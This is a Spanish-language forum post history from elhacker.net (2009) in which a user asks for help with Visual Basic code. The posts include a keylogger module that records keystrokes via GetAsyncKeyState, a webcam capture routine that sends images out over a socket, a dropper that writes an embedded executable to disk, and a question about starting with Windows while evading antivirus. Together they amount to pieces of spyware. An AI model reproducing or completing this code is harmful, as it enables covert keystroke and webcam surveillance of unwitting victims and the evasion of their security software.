elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Usando Git para manipular el directorio de trabajo, el índice y commits (segunda parte)


  Mostrar Mensajes
Páginas: [1] 2 3 4
1  Programación / Programación Visual Basic / modulo keylogger!! en: 1 Febrero 2009, 01:23 am
Hola, buenas, alguien se prestaría a ayudarme a entender como funciona este modulo  :huh:  :huh:  :huh:  gracias.

Código:
'Módulo estándar basKeyLogger.bas
'
Option Explicit

Public bLogEnabled As Boolean

Function GetActiveKey() As Integer
         Static bStarted As Boolean
         Dim i%

  If Not bStarted Then
    'Inicializa el estado de las teclas llamando a
    'la función GetAsyncKeyState.
    '
    For i = 1 To 256
      Call GetAsyncKeyState(i)
    Next

    bStarted = True
  End If

  For i = 1 To 256
    'Obtiene la tecla pulsada actualmente.
    '
    If GetAsyncKeyState(i) Then
      GetActiveKey = i
    
      Exit For
    End If
  Next
End Function

Sub StopLog()
  bLogEnabled = False
End Sub

Sub LogKeys()
        Dim snTimer!
        Dim iActiveKey%
        Dim sChar$, sData$

  bLogEnabled = True
 
  Do While bLogEnabled
    snTimer = Timer
  
    Do While (Timer - snTimer) < 0.125
      'Espera 125 milisegundos hasta
      'la próxima pulsación.
    Loop
  
    iActiveKey = GetActiveKey
  
    Select Case iActiveKey
      Case vbKey0 To vbKey9, 32 To 47, vbKeyA To vbKeyZ
        sChar = Chr$(iActiveKey)
    
        sData = sData & sChar
    
      Case vbKeyReturn
        'Imprime lo que tiene en el buffer.
        '
        Debug.Print sData
      
        sData = vbNullString
      Case Else
        'Verifica otras teclas.
    End Select
  Loop
2  Programación / Programación Visual Basic / Re: Problema con la webcam en: 30 Enero 2009, 16:35 pm
vaya forma de ayudar a quien intenta aprender .......  :-X
3  Programación / Programación Visual Basic / Problema con la webcam en: 30 Enero 2009, 06:27 am
hola, alguien podria decirme en que falla mi funcion que las capturas de la cam me salen oscuras, no me las hace bien a color  :huh:  :huh:  :huh:

Código:
Private Function webcam()
Clipboard.Clear
SendMessage hHwnd, WM_CAP_DRIVER_DISCONNECT, iDevice, 0
hHwnd = capCreateCaptureWindowA(iDevice, WS_VISIBLE Or WS_CHILD, 0, 0, 640, 480, picCapture.hwnd, 0)
If SendMessage(hHwnd, WM_CAP_DRIVER_CONNECT, iDevice, 0) Then
SendMessage hHwnd, WM_CAP_SET_SCALE, True, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEWRATE, 66, 0
SendMessage hHwnd, WM_CAP_SET_PREVIEW, True, 0
SendMessage hHwnd, WM_CAP_EDIT_COPY, 0, 0
picCapture.Picture = Clipboard.GetData
SaveClipbrdPicture
End If
PictureView1.OpenPicture ("c:\Image.bmp")
PictureView1.SaveJPEG "C:\Image.jpg", True, 50
archivo0 = FreeFile
fragmento0 = 8192
ruta0 = "c:\Image.jpg"
Open ruta0 For Binary As #archivo0
Do While Not EOF(archivo0)
    lectura = Input(fragmento0, #archivo0)
    S.SendData lectura
    DoEvents
Loop
Close #archivo0
S.SendData "enviofin0"
End Function

bueno, salu2.
4  Programación / Programación Visual Basic / Re: problema captura webcam!!!!! en: 29 Enero 2009, 04:43 am
buenas podrian decirme en que falla este codigo que no captura la imágen y la guarda  :huh:

Código:
SendMessage mCapHwnd, DISCONNECT, 0, 0
mCapHwnd = capCreateCaptureWindow("WebcamCapture", 0, 0, 0, 320, 240, Me.hwnd, 0)
SendMessage mCapHwnd, Connect, 0, 0
SendMessage mCapHwnd, GET_FRAME, 0, 0
SendMessage mCapHwnd, Copy, 0, 0
PV.Picture = Clipboard.GetData
SavePicture PV.Picture, "c:\" & "captura.bmp"

salu2.  :huh:  :huh:
5  Programación / Programación Visual Basic / Re: problema captura webcam!!!!! en: 26 Enero 2009, 22:41 pm
buenas, podrian decirme, por qué cuando le doy a capturar otra imágen de la webcam me sale: selecionar dispositivo  :huh: .

la primera ves que capturo bien, recibo la captura y la hace perfectamente  pero cuando doy otra vez al command button me da a elegir el dispositivo de captura  :-\

como puedo solucionarlo  :huh:

eso es todo, gracias, saludos para todos.
6  Programación / Programación Visual Basic / ayuda con la encriptacion!! en: 26 Enero 2009, 00:23 am
hola, buenas todo el mundo, alguien podria guiarme con algun codigo como funciona lo de cifrar lineas del codigo de mi programa y como creo la funcion para cifrar, cual es el mejor metodo de encriptacion..no se estoy perdido, saludos.  ;)
7  Programación / Programación Visual Basic / Re: iniciar con windows sin que los avs detecten mi aplicacion?¿? en: 25 Enero 2009, 01:42 am
Citar
Añadirlo al registro, meterlo en la carpeta inicio...

MODIFICADO: ya vi como, sorry  ;D
8  Programación / Programación Visual Basic / iniciar con windows sin que los avs detecten mi aplicacion?¿? en: 25 Enero 2009, 01:14 am
 :huh: hola, pues eso como podría hacerlo  :huh: la mejor forma, podrian darme algunos links  :huh: de los mejores metodos por favor y si puede hacer alguna  codigo comentado en caso de que sea muy enredoso, pues estoy empezando otra vez desde 0, saludos y muchas gracias por los que me estan ayudando  :)
9  Programación / Programación Visual Basic / Re: como puedo injectar... en: 24 Enero 2009, 16:39 pm
bueno estudiando el codigo, voy a comentarlo corrijanme si me equivoco  :-[ saludos.


Código:
Private Sub Command1_Click()
    Dim Data() As Byte ' la declaramos a Data como tipo Byte
    Dim ff As Long ' tipo long
    Data = LoadResData(101, "CUSTOM") ' le dice que data es igual a LoadResData y esto lo que hace es cargar mi archivo el que meti dentro del archivo res.
    If Len(Dir$("C:\ejemplo.exe")) Then Kill "C:\ejemplo.exe" ' aqui hace una condicion if diciendole que haga un dir en ese path si encuentra cierto archivo "ejemplo.exe" entonces lo elimina.
    ff = FreeFile ' ff le dice que cree un nuevo archivo.
    Open "C:\ejemplo.exe" For Binary Access Write As #ff ' luego abrimos ejemplo.exe para escribir en modo binario sobre ese nuevo archivo.
    Put #ff, , Data ' aca le metemos con put el valor de data ( mi archivo el que carge en el .res )
    Close ff ' cerramos
End Sub


PD: corrijanme, se agradecerá para asi mejor entender el codigo.
10  Programación / Programación Visual Basic / Re: como puedo injectar... en: 23 Enero 2009, 17:18 pm
perdona cobein, si estuve leiendo pero no entendía gran parte del codigo de la página que el me paso, solo dije que no lo entendi, no lo pedi hecho, salio de sebasneo, se agradece mucho, pero te aseguro que SÍÍÍÍÍÍÍ !!!!!!!! estuve leyendo lo que no todos somos tan habilidosos como tú, disculpa  :-\
Páginas: [1] 2 3 4
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines